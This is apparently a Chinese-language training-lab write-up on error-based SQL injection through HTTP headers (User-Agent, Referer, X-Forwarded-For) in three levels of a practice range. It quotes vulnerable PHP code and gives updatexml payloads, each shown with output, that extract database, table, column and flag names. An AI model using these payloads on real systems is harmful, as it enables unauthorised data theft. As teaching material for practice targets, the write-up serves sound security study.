0x00 head注入
head注入 显错注入 数据库报错有很多种 有一些是致命的,有一些是简单报错 使用 update(目标xml内容,xml文档里的路径,更新的内容) updatexml(1,concat(0x7e,(select database())),1),1) >=0x是十六进制 (select database是一个子查询) 0x7e代表 ~号
16进制永远不能当代码执行, 只能转换值(字符串)
主要看 插入sql 插入语句的构成
$Insql = “INSRT INTO UAGENT (‘uagent’,’username’) values (‘$uagent’,’$uname’)” => — qwe
我们可以看到这里是有2个变量,所以要写2个占位符所以后面需要+ ,1)
updatexml(1,concat(ox7e,(select database())),1),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合规则然后报错了
0x01 靶场练习
靶场练习:封神台靶场
Pass-07
本关正确密码
admin/123456
$username = $_POST['username']; //将获取 POST 方式传参的usename赋值给$username
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT']; // $_SERVER php超全局变量
$_SERVER['HTTP_USER_AGENT'] 获取用户信息,浏览器 UA标识、操作系统
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';// 过滤了单引号
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";// 插入语句 2个字段
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
查询库名
在 burp 替换
User_Agent:的数据,把注入的参数带入
User_Agent:1'or updatexml(1,concat(0x7e,(select database())),1),1)-- qwe
1'or updatexml(1,concat(0x7e,(select database())),1),1)-- qwe
查表名
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)-- qwe
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)-- qwe
存在5个表
~flag_head,ip,refer,uagent,user'
查字段
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),1),1)#
存在 7个字段
~Id,flag_h1,Id,ip,username,Id,re
查看flag_h1字段数据
'or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#
zKaQ-YourHd,zKaQ-Refer,zKaQ-ipi
Pass-08
核心代码
HTTP_REFERER //获取从哪里发起请求
SQL语句代码 和上个一样只是过滤了单引号
测试方法:
在burp中新写一个 REFEER:写入sql注入语句
REFERER:'or updatexml(1,concat(0x7e,(select database())),1),1)#
获取到了 库名 head-error
获取表名
flag_head,ip,refer,uagent,user
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#
获取字段
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag_head")),1),1)#
获取 flag 字段的内容
'or updatexml(1,concat(0x7e,(select flag from flag_head)),1),1)#
Pass-09
核心代码
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$username = $_POST['username'];
$password = $_POST['password'];
$ip = getip();
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
源码里面对X_FORWARDED_FOR 没坐任何过滤
复现代码步骤和上诉相同
X_FORWARDED_FOR:'or updatexml(1,concat(0x7e,(select database())),1),1)#
X_FORWARDED_FOR:'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#
X_FORWARDED_FOR:'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag_head")),1),1)#
X_FORWARDED_FOR:'or updatexml(1,concat(0x7e,(select flag from flag_head)),1),1)#